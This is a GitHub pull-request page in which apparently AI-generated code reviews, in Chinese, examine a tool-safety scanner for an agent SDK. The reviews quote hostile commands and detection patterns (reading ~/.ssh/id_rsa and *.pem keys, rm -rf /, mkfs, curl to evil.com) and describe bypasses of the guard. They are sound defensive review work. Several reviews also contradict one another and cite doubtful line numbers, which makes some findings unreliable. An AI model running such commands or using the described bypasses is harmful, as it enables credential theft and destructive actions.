  • trpc_agent_sdk/tools/safety/_wrapper.py:48-65SafeCodeExecutor.execute_code 每次调用都新建 SafetyScanner(policy) 并逐块 audit.record,但最终阻断决策是跨块重新聚合的,单块审计记录的 blocked 字段与实际阻断行为不一致;可在构造期复用 scanner 并在阻断时补记一条聚合报告,避免审计失真与重复实例化。

总结

整体实现结构清晰、fail-closed 设计合理、测试覆盖较全面,不存在安全凭证泄露或命令注入类阻塞性漏洞。主要风险是两处检测规则失效(*.pem/*.key 漏报、Python 大文件写入阈值失效)和一份生成物被误提交,其中前者属于安全检测漏报,建议修复后再合入。

测试建议

  • 补充 cat server.pemopen('cert.key') 等密钥文件访问的检测用例,验证 *.pem/*.key 规则实际生效。
  • 补充 Python 侧 open('f','w')max_file_write_bytes 阈值上下不同写入字节数的用例,确认阈值门控按预期触发/放行。


# Check for sensitive path access (e.g. cat ~/.ssh/id_rsa)
for sensitive in SENSITIVE_PATHS:
if sensitive in line and not sensitive.startswith("*"):

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

敏感路径 glob 规则 (.pem/.key) 永远无法命中,造成 R001 漏报

SENSITIVE_PATHS 中 .pem、.key 是 glob 形式,但匹配用的是子串匹配且 not sensitive.startswith("") 直接跳过它们;Python 侧 _check_sensitive_path 同样是子串匹配。建议改为按后缀匹配(如 text.endswith(".pem"))或用 .pem/.key 子串形式,并移除 startswith("") 跳过逻辑。

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

现在我已经获取了所有信息。让我来编写审查报告。

发现的问题

🚨 Critical

  • examples/tool_safety_guard/integration_demo/agent/tools.py:84-85SkillToolSet 用错误参数挂载安全过滤器

    • SkillToolSet 构造签名只接受 tool_filter(谓词或工具名列表)和 **run_tool_kwargs,没有 filters/allowed_cmds 形参。传入的 filters=[safety_filter] 被静默吞入 run_tool_kwargsToolSafetyFilter 永远不会挂到 skill 工具上,skill 执行路径实际无安全防护。应改为通过 add_tool_safety_filter 或 toolset 实际暴露的过滤器接入方式注入。
  • examples/tool_safety_guard/integration_demo/agent/tools.py:102MCPToolsetToolSafetyFilter 错误地当作 tool_filter 传入

    • MCPToolset.tool_filter 期望 ToolPredicate 或工具名列表,而非 BaseFilter;且 is_include_all_tools 默认为 True_is_tool_selected 直接返回 True,过滤器被完全忽略。安全过滤器从未挂到 MCP 工具上,README/注释宣称的“denied commands 在 MCPTool filter 层被阻断”并不成立。应使用 filters=[safety_filter]

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_bash_parser.py:268-320_check_command_policy 的 denied/review/allowed 匹配只针对多行脚本的第一行

    • _check_command_policy 对整个脚本做一次 shlex 分词后用 tokens[:len(denied_tokens)] == denied_tokensbase_cmd = tokens[0] 判断,换行被当作空白折叠,因此非首行的 mkfs/dd if=/halt/poweroff/shutdown/reboot 等仅存在于 denied_commands、没有 BASH_SYSTEM_PATTERNS 正则兜底的命令会绕过策略。建议对每行(或每个命令段)单独做 token 前缀匹配。
  • trpc_agent_sdk/tools/safety/_bash_parser.py:90-104:敏感文件后缀检查可被引号绕过

    • base = token.rstrip(";|&\"'") 只去尾引号,cat "server.pem" 的 token 为 "server.pem,不以 .pem 结尾从而漏检;.pem/.key 等又不在 SENSITIVE_PATHS 内,导致带引号的证书/私钥读取可绕过检测。建议同时 lstrip 掉首引号或用 shlex 解析再判断。
  • trpc_agent_sdk/tools/safety/_audit.py:59-71_path_locks 为类级 dict 且永不清理

    • 不同审计路径会持续累积 threading.Lock 对象,长期运行的服务中若路径动态变化(如按会话/日期切分)会造成无界内存增长。建议改用 WeakValueDictionary 或在 record 后按需清理。
  • tests/tools/safety/test_integration_demo.py:95tests/tools/safety/test_opt_in.py:115:执行类测试断言恒真

    • assert "hello" in output or True / ... or True 使断言永远通过,既不验证安全放行也不验证执行结果,未覆盖实际风险路径。应去掉 or True 并对 result.output 做真实断言。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_filter.py:79-94:扫描器异常路径构造的 fail-closed SafetyReport 缺少 telemetry_attributesrule_ids,导致审计/遥测信息不完整;建议复用 SafetyScanner 的 telemetry 构造逻辑或显式补全字段。

总结

整体实现完整、测试覆盖较广,但存在两处示例接入错误(Critical)使 Skill/MCP 路径的安全防护实际未生效,以及 bash 多行策略绕过与敏感文件引号绕过两处检测缺口(Warning),需修复后再合入。

测试建议

  • 补充多行脚本用例:首行为安全命令、后续行包含 mkfs/dd if=/shutdowndenied_commands,验证非首行也被阻断。
  • 补充带引号的敏感文件读取用例(如 cat "server.pem"open("\"key\"")),验证后缀检测不被引号绕过。
  • create_mcp_toolset/create_skill_toolset 增加断言 ToolSafetyFilter 实际挂到工具 filters 上的集成测试。

from trpc_agent_sdk.skills import SkillToolSet
return SkillToolSet(
paths=[str(SKILL_ROOT)],
filters=[safety_filter],

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

SkillToolSet 用错误参数挂载安全过滤器

SkillToolSet 构造签名只接受 tool_filter**run_tool_kwargs,没有 filters/allowed_cmds 形参,传入的 filters=[safety_filter] 被静默吞入 run_tool_kwargsToolSafetyFilter 永远不会挂到 skill 工具上,skill 执行路径实际无安全防护。应改为通过 add_tool_safety_filter 或 toolset 实际暴露的过滤器接入方式注入。

connection_params=StdioConnectionParams(
server_params={"command": sys.executable, "args": [str(MCP_SERVER)]},
),
tool_filter=safety_filter,

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

MCPToolset 把 ToolSafetyFilter 错误地当作 tool_filter 传入

MCPToolset.tool_filter 期望 ToolPredicate 或工具名列表,而非 BaseFilter;且 is_include_all_tools 默认为 True_is_tool_selected 直接返回 True,过滤器被完全忽略,安全过滤器从未挂到 MCP 工具上。应使用 filters=[safety_filter]

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

我已经了解了。让我最后确认一件事:关于 AuditLogger.record 只捕获了 OSError 的问题 —— json.dumps 抛出的 TypeError 会传播,并可能阻塞工具执行,这与文档字符串(docstring)中“绝不阻塞工具执行”的声明相悖。让我确认一下这个问题是否属实,并检查它在过滤器路径(filter path)中是否已得到处理。

_filter.py 中,self._audit.record(report)(第 90 行)位于 try/except Exception → DENY(故障关闭)之外。如果审计抛出 TypeError,它会从 _before 传播到过滤框架。在 BashTool 中,审计位于第 194 行,处于外部 try/except Exception(第 262 行)之内 —— 因此在那里它不会崩溃,但整个工具调用会返回 EXECUTION_ERROR。因此,审计的 json.dumps 失败可能会导致 BashTool 调用失败。虽然这是一个边缘情况(只有当发现结果包含不可序列化的内容时才会发生,但发现结果都是简单的字符串),所以实际风险很低。文档字符串声称“绝不阻塞”,但只捕获了 OSError —— 这是一个轻微的不一致,我将其标记为 Suggestion/Warning。

其实 asdict 会生成一个包含纯字符串/列表/字典的字典(枚举属于 str 类型),所以 json.dumps 本不应该失败。因此实际风险可以忽略不计。我最多将其标记为 Suggestion。

让我整理一下审查结果。最重要的真正问题是:

  1. SafeCodeExecutor 缺少故障关闭(fail-closed)处理(Warning)—— 与其他路径不一致。
  2. 通过 SENSITIVE_PATHS 子字符串匹配导致的高误报拦截问题(Warning)—— 像包含 "token"/"password"/"secret" 字样的 echo 命令会被 DENY。
  3. create_skill_toolset 丢弃了 YAML 策略,使用了默认策略(Warning,示例代码)。
  4. 示例 18 中对密钥打印的检测存在缺口(Suggestion/test)。

让我再次验证 #1 的严重性,并通过检查在 SafeCodeExecutor 的阻塞路径中是否设置了 set_blocked 来确认不存在其他问题 —— 实际上,SafeCodeExecutor 创建了报告,但从不调用 set_blocked。审计事件会记录 blocked=report.blocked,其值来源于 scanner.scan 的报告,其中 blocked = decision==DENY。因此,当 block_on_review 为 True 且 decision 为 NEEDS_HUMAN_REVIEW 时,执行会被阻塞,但 report.blocked 仍为 False(因为扫描器将 blocked 设置为 decision==DENY)。所以审计会记录 blocked=False,尽管执行实际上已被阻塞。这与 BashTool 不同,后者调用了 report.set_blocked(should_block)。让我确认 SafeCodeExecutor 是否没有调用 set_blocked

查看 _wrapper.py 第 74-89 行:它调用了 scanner.scan(req),记录审计日志,设置遥测,然后单独计算 should_block,但从未调用 report.set_blocked(should_block)。因此,当 block_on_review 为 True 时,审计/遥测会错误地报告 blocked=False。这是一个真实存在的遥测/审计准确性 bug。我将其与 fail-closed 问题合并,因为两者都存在于 SafeCodeExecutor 中。

让我撰写审查报告。Based on my review of the safety guard implementation, the integration points, and the tests, here are my findings.

发现的问题

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_wrapper.py:74-89:SafeCodeExecutor 缺少 fail-closed 保护且未同步 blocked 标记

    • ToolSafetyFilter._before_filter.py:67-86,扫描异常→DENY)和 UnsafeLocalCodeExecutor.execute_code_unsafe_local_code_executor.py:117-123,扫描异常→block)不同,SafeCodeExecutor 直接调用 scanner.scan(req) 没有 try/except,扫描器抛异常会向上传播而非 fail-closed 阻断。同时它根据 should_block 阻断执行,但从未调用 report.set_blocked(should_block)(对比 _bash_tool.py:192),当 block_on_review=True 且 decision 为 NEEDS_HUMAN_REVIEW 时,audit/telemetry 会错误记录 blocked=False。建议对齐其它两条路径:包裹扫描调用并 fail-closed,并在阻断前 report.set_blocked(should_block)
  • trpc_agent_sdk/tools/safety/_bash_parser.py:80-92_python_parser.py:238-251:敏感路径用裸子串匹配导致过度拦截

    • SENSITIVE_PATHS_rules.py:15-37)包含 token/password/secret 等常见单词,if sensitive in line 命中即判 RiskLevel.HIGH → 聚合为 DENY。合法命令如 echo "reset password"git commit -m "add token refresh" 会被直接阻断。建议对单词类敏感项改用词边界或更精确的模式(如 \$token/id_rsa),或将这类弱信号降级为 MEDIUM/REVIEW 而非 HIGH。
  • examples/tool_safety_guard/integration_demo/agent/tools.py:88-92:SafetyWrappedToolSet 丢失 YAML 策略

    • create_skill_toolset 构造 SafetyWrappedToolSet 时未传 policy,其内部 add_tool_safety_filter 会用 PolicyConfig.default() 而非上层 create_safety_scanner() 加载的示例 YAML 策略,导致 Skill 执行路径的安全策略与 Bash/CodeExecutor 路径不一致。建议将 scanner 对应的 policy 显式传入 SafetyWrappedToolSet

💡 Suggestion

  • examples/tool_safety_guard/samples/18_env_secret_print.py:1-3scripts/run_safety_scan.py:48:密钥经环境变量打印的样本被标为 allow,扫描器未检测 print(secret) 类外泄。建议补充对 print/os.getenv 组合或敏感变量名外泄的检测,或将该样本预期改为 review,避免给使用者“此类操作安全”的错误示范。

  • trpc_agent_sdk/tools/safety/_audit.py:88-97record() 仅捕获 OSError,与 docstring“audit plumbing never blocks tool execution”不一致——json.dumps/asdict 抛非 OSError 时会向上传播。当前 findings 均为简单类型实际触发概率低,但建议将 except OSError 放宽为 except Exception 以严格兑现“绝不阻塞执行”的承诺。

总结

整体安全防护设计合理、测试覆盖较全,不存在必须修复的阻塞性问题;主要风险是 SafeCodeExecutor 路径与其它两条执行路径在 fail-closed 与 blocked 标记上不一致,以及敏感路径子串匹配带来的误拦截。建议在合入前修复上述 Warning。

测试建议

  • 补充 SafeCodeExecutor 在扫描器抛异常时的 fail-closed 测试,以及 block_on_review=True 下 audit 中 blocked 字段为 True 的断言(当前 test_wrapper.py 未覆盖)。
  • 补充一条包含 password/token 字样的合法 bash 命令用例,明确期望是放行还是降级 review,以固化过度拦截的边界行为。

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

我现在已经有了完整且深入的了解。让我来总结一下我的发现。MagicMock(name="Bash") 的问题纯属外观问题(测试没有对 tool_name 进行断言,且 extract_tool_safety_context 能优雅地处理非字符串类型的名称)。真正的问题在于正确性、安全性和稳定性。让我完成最终评估。

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_filter.py:43-46:扫描失败时构造的 SafetyReport 缺少必填字段 language/target,且未设置 sanitized,注释声称"fail-closed → DENY"但实际不会阻塞执行。

    • _beforescan 抛异常时进入 except 分支构造 DENY 报告,但该 dataclass 的 language/target 是必填字段(无默认值),此处未从 scan_req 复制,会在构造时抛 TypeError,被 _base_filter.py:158 的外层 except Exception 捕获后 yield FilterResult(error=ex, is_continue=False)——虽然最终也阻断了执行,但路径与设计不符,且错误信息丢失了安全上下文。应从 scan_req 补齐 language=scan_req.language, target=scan_req.target, sanitized=False,并显式 report.set_blocked(True) 后再 rsp.is_continue=False
    report = SafetyReport(
        tool_name=getattr(tool, 'name', 'unknown'),
        decision=Decision.DENY,
        ...
        # 缺少 language / target
    )
  • trpc_agent_sdk/tools/safety/_filter.py:99-105:阻断时只设置了 rsp.rsprsp.is_continue=False,但未调用 report.set_blocked(True),导致审计日志中 blocked 字段记录为 False

    • SafetyScanner.scanblocked = decision == Decision.DENY,filter 阻断路径依赖该值;但当 block_on_review=True 导致 NEEDS_HUMAN_REVIEW 也阻断时,report.blocked 仍为 False。BashTool 路径(_bash_tool.py:191)调用了 report.set_blocked(should_block),而 filter 路径遗漏了,使审计记录与实际执行行为不一致。应在阻断前补 report.set_blocked(should_block)

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_bash_parser.py:255-271_check_command_policyallowed_commands 非空时,对每个不在白名单的基础命令都追加一条 MEDIUM 发现,且不在行级去重前合并,会导致几乎任意真实 bash 脚本(含 cdexport、变量赋值等)都被判为 NEEDS_HUMAN_REVIEW。

    • 默认 PolicyConfig.default()allowed_commands 只含 15 个命令,缺少 cd/export/source/set/unset 等常见安全命令,默认策略下大量正常脚本会被误判为需人工评审;建议补充常用安全命令或在白名单匹配时跳过 shell 内建关键字。
  • trpc_agent_sdk/tools/safety/_python_parser.py:175-181_check_dynamic_execfunc_path.rsplit(".",1)[-1] 做 last-segment 匹配,会把任意名为 eval/exec/compile 的自定义方法(如 obj.eval(...)my.compile(...))误报为动态执行。

    • 这种宽松匹配虽能拦截 builtins.eval,但也会对合法业务方法产生 HIGH 级误报(直接 DENY),建议仅对已知危险模块前缀(builtins/__builtins__/裸名)触发,或降低非 builtins 命名的风险等级。
  • trpc_agent_sdk/tools/safety/_bash_parser.py:202-208_check_resource_abuseR005_LONG_RUNNING_SLEEPint(match.group(1)) 判断超时阈值,但 head -c 规则(R005_LARGE_FILE_WRITE)没有捕获组,bash 中若误匹配会触发 IndexError——当前 sleep 规则有 group(1) 安全,但 head -c 同样使用带 group 的正则,xargs -P/parallel -j 也有 group,逻辑上 OK;真正风险是 int() 对超大数字或非纯数字(如 sleep 1m)静默通过 ValueError 继续报 HIGH,建议对解析失败保留原风险等级而非默认放行。

  • trpc_agent_sdk/code_executors/local/_unsafe_local_code_executor.py:114-119:扫描异常时直接 return create_code_execution_result(stderr=...),fail-closed 行为正确,但异常被 except Exception 静默吞掉,没有任何日志/telemetry,运维难以定位为何所有代码块都被阻断。

    • 建议至少 logging.warning 记录异常,或在 stderr 中附带异常类型,避免线上排查时只看到 "Safety scanner error" 而无根因。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_extractors.py:27-28tool_name = getattr(tool, 'name', '') or ''str(tool_name),当 tool.name 是非字符串(如 MagicMock 子属性)时 tool_name_str 会变成 mock repr。测试中 MagicMock(name="Bash") 实际不会把 .name 设为字符串 "Bash"(name 是 mock 的标识参数),建议显式 tool.name = "Bash" 以避免测试与真实 Tool 行为脱节。

总结

整体设计完整、fail-closed 方向正确,但 filter 的扫描异常处理路径存在 dataclass 必填字段缺失会触发二次异常的 Critical 问题,且 filter 与 BashTool 两条阻断路径对 blocked 字段记录不一致,建议合并修复后再合入。

测试建议

  • 补充 ToolSafetyFilter._beforescanner.scan 抛异常时的端到端测试,断言 SafetyReport 能正常构造且 rsp.rsp["decision"]=="deny"、审计 blocked==True
  • 补充 block_on_review=True 触发 NEEDS_HUMAN_REVIEW 阻断时,审计日志 blocked 字段为 True 的断言,覆盖 filter 与 BashTool 两条路径。

block_on_review: If True, NEEDS_HUMAN_REVIEW decisions also block
execution. Default False (only DENY blocks).
"""

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

扫描异常路径构造 SafetyReport 缺少必填字段且未真正阻断

scan 抛异常时构造的 DENY SafetyReport 缺少必填的 language/target,未设置 sanitized,会在构造时抛 TypeError 被外层 except 捕获,路径与设计不符且丢失安全上下文。应从 scan_req 补齐 language/target/sanitized=False 并显式 set_blocked(True)。

if should_block:
rsp.rsp = {
"success": False,
"error": f"TOOL_SAFETY_BLOCKED: {report.summary}",

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

filter 阻断路径未调用 set_blocked(True) 导致审计字段不一致

阻断时只设置 rsp 与 is_continue=False,未调用 report.set_blocked(True),使审计日志 blocked 记为 False,与 BashTool 路径不一致。block_on_review 触发 NEEDS_HUMAN_REVIEW 阻断时同样遗漏,应在阻断前补 report.set_blocked(should_block)。

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

现在我已经掌握了准确的行号。让我再重新思考一下,关于 BashTool 的稳定性问题是否真的值得提出警告——因为它周围的外部代码中确实有一个宽泛的 except Exception,所以它不会导致崩溃。但它将本应是“安全失败(fail-safe)”的情况转化为了普通的执行错误,且丢失了安全上下文,而且与其他路径不一致。这是一个合理的警告。

让我再重新考虑一下 SafeCodeExecutor 是否暴露出了一个更严重的问题——它没有宽泛的 except,所以扫描器的异常会向上抛出给调用链,这可能导致 agent 在执行代码时崩溃。这比 BashTool 的问题更严重。值得作为警告提出。

我还需要验证一下 SafeCodeExecutorblock_on_review 的默认值——当 NEEDS_HUMAN_REVIEWblock_on_review=False(默认值)时,代码会继续执行。这是设计使然。

让我完成最终总结。

发现的问题

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_wrapper.py:74SafeCodeExecutor 扫描调用缺少异常保护,与 fail-closed 设计不一致

    • report = scanner.scan(req) 未包裹 try/except,而 _unsafe_local_code_executor.py:119-123 对同样的扫描显式做了 fail-closed(异常即阻断)。一旦 scanner 抛出非预期异常,会直接向上冒泡中断整个 execute_code,而非按设计阻断执行;建议与 UnsafeLocalCodeExecutor 一致地 try/except 并返回 create_code_execution_result(stderr="Safety scanner error — execution blocked.")
  • trpc_agent_sdk/tools/file_tools/_bash_tool.py:181BashTool 扫描调用缺少 fail-closed 保护

    • self._safety_scanner.scan(...) 未单独 try/except;虽然外层 _run_async_implexcept Exception 兜底,但异常会被转成普通 EXECUTION_ERROR 返回,丢失安全决策上下文,且与 ToolSafetyFilter_filter.py 中 fail-closed → DENY)行为不一致。建议对扫描段单独 try/except,异常时按 TOOL_SAFETY_BLOCKED 阻断以保持语义统一。
  • trpc_agent_sdk/tools/safety/_policy.py:148-156is_path_denied 未做路径归一化,可被相对/混合路径绕过

    • 仅用 startswith(denied + "/") 字符串比较,cwd="/etc/../root"cwd="/root/." 或带符号链接的路径不会被判为 denied,导致 SafetyScanner._scan_context_safety 对 denied 工作目录的校验被绕过。建议对 path_textdenied 做规范化(如 os.path.realpath / os.path.normpath)后再比较,注意 ~ 需先展开。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_bash_parser.py:306-353_check_command_policy 命中 denied/review 后 return findings 会提前退出整个函数,跳过对剩余行的策略检查和 shell-pipeline 整体检查。当前因命中即 CRITICAL 不影响最终决策,但语义上应改为 break/continue 以保留其他行与 pipeline 的发现,便于审计完整性。

总结

新增的 Tool Script Safety Guard 整体设计自洽,规则覆盖与脱敏逻辑基本正确,未发现明确的安全漏洞或阻断级缺陷。主要风险集中在 fail-closed 语义在 SafeCodeExecutor/BashTool 两条接入路径上与 filter/executor 不一致,以及 is_path_denied 的路径归一化缺失,建议合并前修复。

测试建议

  • 补充 SafeCodeExecutor / BashTool 在 scanner 抛异常时“执行被阻断且不向上冒泡”的用例(当前 test_wrapper.py/test_opt_in.py 仅覆盖正常阻断)。
  • 补充 is_path_denied/etc/../root/root/.、符号链接类输入的绕过用例。

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

我已经完整审查了 pr.diff(新增的 trpc_agent_sdk/tools/safety/* 模块、_bash_tool.py/_unsafe_local_code_executor.py 的 opt-in 改动、scripts、示例与测试),并对照了仓库中 BaseFilter.run/_handle_coFilterResult_bash_tool._run_async_impl 等上下游上下文。下面是结论。

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_filter.py:5299-5351ToolSafetyFilter._before 通过直接修改传入的 rsp: FilterResultrsp.rsp=...rsp.is_continue=False)来阻断执行,但未 return 一个 FilterResult
    • 虽然在当前 BaseFilter.run/_handle_co 实现中,对 result 的 mutation 恰好能生效(run_before 返回后检查 result.is_continue),但这依赖框架内部对同一对象的副作用传递,属于脆弱契约。一旦上游改为“以 _before 返回值作为结果”(_handle_corsp = await co; if rsp: 分支),阻断将静默失效,危险命令会继续执行。建议显式 return 阻断结果或与框架确认契约,并补充一条端到端“filter 阻断后 handle 不被调用”的测试。

⚠️ Warning

  • trpc_agent_sdk/tools/file_tools/_bash_tool.py:176-202:BashTool 的 safety scan 调用没有 try/except 包裹,与 _filter.py/_wrapper.py 中明确的 fail-closed 不一致。

    • 扫描器抛异常时会落到方法末尾的 except Exception,返回 EXECUTION_ERROR(恰好未执行命令),但不会写 audit、不会发 telemetry,且错误信息不含 TOOL_SAFETY_BLOCKED,难以与正常阻断区分。建议像 _wrapper.py 那样捕获异常并构造 DENY 报告,保持三条路径一致的 fail-closed 语义。
  • trpc_agent_sdk/tools/safety/_bash_parser.py:358-369allowed_commands 的实际语义是“白名单之外的命令一律记 MEDIUM finding”,与字段文档“Commands explicitly permitted regardless of other rules”(_policy.py default 注释及 YAML 注释)不符。

    • 用户按文档把 allowed_commands 当作“正向放行”配置时,所有未列出命令都会变成 NEEDS_HUMAN_REVIEW(开启 block_on_review 时即被阻断),属于破坏性的行为偏差。建议要么修正文档为“strict allowlist”,要么把该检查改为正向放行语义。
  • trpc_agent_sdk/tools/safety/_rules.py:6254-6269sanitize_textextra_patterns(来自用户 YAML 的 secret_patterns)逐条 re.sub,且 re.error 之外的正则异常(如回溯爆炸)未被兜底。

    • 由于 secret_patterns 可由用户/运维通过 YAML 注入任意正则,恶意或病态正则在扫描每条 evidence 时都可能触发 ReDoS,拖慢或阻塞工具执行。建议对用户正则做编译校验、加超时或限制复杂度,至少在 from_dict/from_yaml 阶段预编译以提前拒绝非法正则。
  • trpc_agent_sdk/tools/safety/_bash_parser.py:5116-5127_check_command_policy|/; 的管道审查基于 _strip_comments_and_quotes 后的整脚本,但 cleaned 里仍可能保留 case ... esacfor ... do ... done 中的 ;,导致普通控制结构被误报为 R003_SHELL_PIPE_EXECUTION(MEDIUM → NEEDS_HUMAN_REVIEW)。

    • block_on_review=True 时会阻断合法多行脚本。建议按语句分隔符上下文(命令间管道/分号 vs 语法关键字)更精确判定。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_audit.py:4677-4692AuditEvent.script_path 永远不会被 from_report 填充(SafetyReport 无对应字段),该字段恒为 None。若不计划使用建议移除,或在 ScanRequest/SafetyReport 中补齐来源以避免误导审计消费者。

总结

整体实现结构清晰、fail-closed 方向正确,测试覆盖较全;不存在可直接利用的安全漏洞或必然崩溃的缺陷。主要风险集中在 filter 阻断依赖隐式 mutation 契约(Critical,建议加固)、BashTool 异常路径与其它两条不一致,以及 allowed_commands 语义与文档不符 三处,建议在合入前处理。

测试建议

  • 补充一条端到端测试:通过真实 run_filters/run_stream_filters 调用链验证 ToolSafetyFilter 阻断时后续 handle 未被调用(当前测试只直接调 _before,无法覆盖 mutation 契约失效的场景)。
  • 补充 allowed_commands 非空时的行为测试:断言未列出命令的实际决策是否符合文档预期(当前测试仅覆盖了 ["echo"] 放行 echo 的正向用例,未覆盖“未列出命令”的语义)。


# Block?
if should_block:
rsp.rsp = {

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

ToolSafetyFilter._before 通过 mutation 阻断但未 return FilterResult

_before 直接修改传入的 rsp(rsp.rsp=...、rsp.is_continue=False)来阻断执行,却没有 return 阻断结果。当前依赖框架对同一对象的副作用传递,属脆弱契约;一旦上游改为以 _before 返回值作为结果,阻断会静默失效并放行危险命令。建议显式 return 阻断结果或与框架确认契约,并补一条阻断后 handle 不被调用的端到端测试。

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

我将停止运行命令(它们被持续拦截),并基于我对代码的深入阅读来完成我的审查。我已经有足够的上下文来提供审查结果。

让我记录下从阅读 diff 及相关仓库上下文中所验证的内容:

  1. _bash_parser.py:185 BASH_DANGEROUS_DELETE_PATTERNS: find\s+.*-delete\bxargs\s+rm\b 使用了贪婪匹配的 .* / 基础的 \b,但有一个更微妙的问题:rm\s+-rf?\s 正则表达式要求 rm 后面必须有空白字符和 -rf,因此 rm -rf /(带空格)可以匹配。但 rm-rf 或末尾的情况……实际上更大的是命令策略(command-policy)问题。

  2. _scanner.py:188-194 _deduplicate_findings: 以 (rule_id, line) 作为键,其中 line 可能为 None_check_command_policy 中的多个发现结果 line=None 会被去重为仅剩一个——这意味着在 bash 脚本中,多行“命令不允许”/“流水线(pipeline)”发现结果会被合并。对于像 R003_SHELL_PIPE_EXECUTION 这样针对整个脚本的发现结果,只会保留一个。这属于行为问题,但尚可接受。更重要的是:许多 line=None 的发现结果(来自 _check_command_policyDenied CommandCommand Not Allowed,它们没有设置 line)——如果多行都触发了“命令不允许”,它们都会因为键 (R003_SYSTEM_COMMAND, None) 而合并为一个。这意味着风险聚合会低估。这是一个真实的 Bug —— 但影响程度中等。

  3. _bash_parser.py:323-337: denied_commands 匹配在首次匹配后执行 return findings —— 但这仅在循环内的单行内返回,然后对下一行继续执行。实际上 _check_command_policy 会遍历行,但 return findings 是从整个函数返回的。因此,一旦有一行匹配到 denied command,它就会停止检查所有剩余行。这是一个 fail-open(失败时开放)的语义问题(可能会错过其他行中进一步的发现),但由于它返回的是一个 CRITICAL(严重)发现,所以聚合结果仍然是 DENY(拒绝)。影响较小。

  4. _bash_parser.py:361-369 "Command Not Allowed"(命令不允许): 当 allowed_commands 非空且 base_cmd 不在允许列表中时,会附加一个 MEDIUM(中等)的发现结果。使用默认策略时,像 curlwgetnc 这样的命令会触发 MEDIUM → NEEDS_HUMAN_REVIEW。但更重要的是,默认的 allowed_commands 包含了常见的命令。因此,不在允许列表中的 curl https://evil.com → 会获得 MEDIUM 的“命令不允许”以及 HIGH 的“非白名单域名访问” → DENY。没问题。

  5. scripts/run_safety_scan.py:1313 policy.allowed_commands = []: 将允许列表设置为空 —— 但随后 _check_command_policy 第 359 行:if (self._policy.allowed_commands and ...) —— 空列表为假值(falsy),因此“命令不允许”检查被跳过。很好,这是符合预期的。

  6. _wrapper.py:118 aggregate_decision(all_findings)SafeCodeExecutor 中:使用所有发现结果进行聚合。但来自扫描器错误的单个 SAFETY_SCANNER_ERROR 发现结果 → max_level CRITICAL → DENY。很好。然而,存在一个真正的并发/语义 Bug:当在代码块 N 上发生扫描器错误时,它会 break,因此代码块 N+1.. 从未被扫描,但 should_block 是基于发现结果进行 DENY 的。没问题(fail-closed,失败即关闭)。

  7. UnsafeLocalCodeExecutor._scan_code_block 没有传递 cwd/env/tool_metadata — 与 BashTool 不同,执行器的扫描请求仅包含 script/language/tool_name/target。因此,上下文安全检查(cwd 拒绝路径、超时限制)永远不会针对代码执行器运行。这导致了保护不一致 —— 但由于这些是针对代码块的(Python/bash 文件),可以说关联不大。不过,超时检查仍然适用(执行器有一个 timeout 字段),但却没有传递。小问题/警告。

  8. _telemetry.py:21 if not span: trace.get_current_span() 返回一个始终为真(truthy)的 span 对象(未记录时会返回一个非记录的 span);not span 可能无法按预期工作 —— 应该依赖 is_recording()。实际上 opentelemetry 的 get_current_span() 会返回一个 NullSpan/非记录的 span,它在布尔判断中为真。所以 not span 为 False,然后 span.is_recording() 为 False → 返回。没问题,功能正常但 not span 子句本质上是死代码。小问题。

  9. _policy.py:185 is_path_denied: 使用了 path_text.startswith(denied + "/")。对于 denied_paths 条目 /var/run/docker.sock(来自 yaml),子路径检查将是 /var/run/docker.sock/... —— 这永远不会匹配 docker.sock 本身。因此,cwd=/var/run/docker.sock 等于该条目 → continue(未被拒绝)。因此,docker.sock 被列为拒绝路径,但从不被拒绝(只有在它内部的路径才会被拒绝,而这并没有意义)。这是一个真正的逻辑缺陷 —— 拒绝路径策略仅在路径位于拒绝条目内部时触发,而不是等于它时。文档字符串承认了目录的这种做法,但列出了像 docker.sock(一个文件)和 .env(不可用)这样的文件条目。因此,denied_paths 无法用于文件。这是一个值得指出的真实正确性/安全性问题。

此外,_scan_context_safety 仅根据 denied_paths 检查 request.cwd —— 它不会检查脚本内引用的路径是否与被拒绝的路径匹配(解析器通过 SENSITIVE_PATH_PATTERNS 单独处理该任务,这是一个不同的列表)。因此,denied_paths 的覆盖范围非常有限。

  1. _bash_parser.py:185 xargs\s+rm\b: 不会捕获 xargs rm -rffind . | xargs rm —— 实际上 xargs rm 匹配 xargs rm -rf(正则匹配了 xargs rm,然后 \b)。等等,\bm 和空格/- 之间 —— - 是否是单词字符?不是,所以 m- 之间存在边界。匹配成功。没问题。但是 xargs rm(多个空格)通过 \s+ 也能匹配。好的。

  2. _python_parser.py_check_getattr_evasion 第 333 行:使用了 getattr(attr_arg.left, 'value', None) —— 对于 ast.Constant 返回常量值,但对于 ast.JoinedStr/其他节点则不返回。对于常量字符串连接 'ev'+'al' 是有效的。没问题。

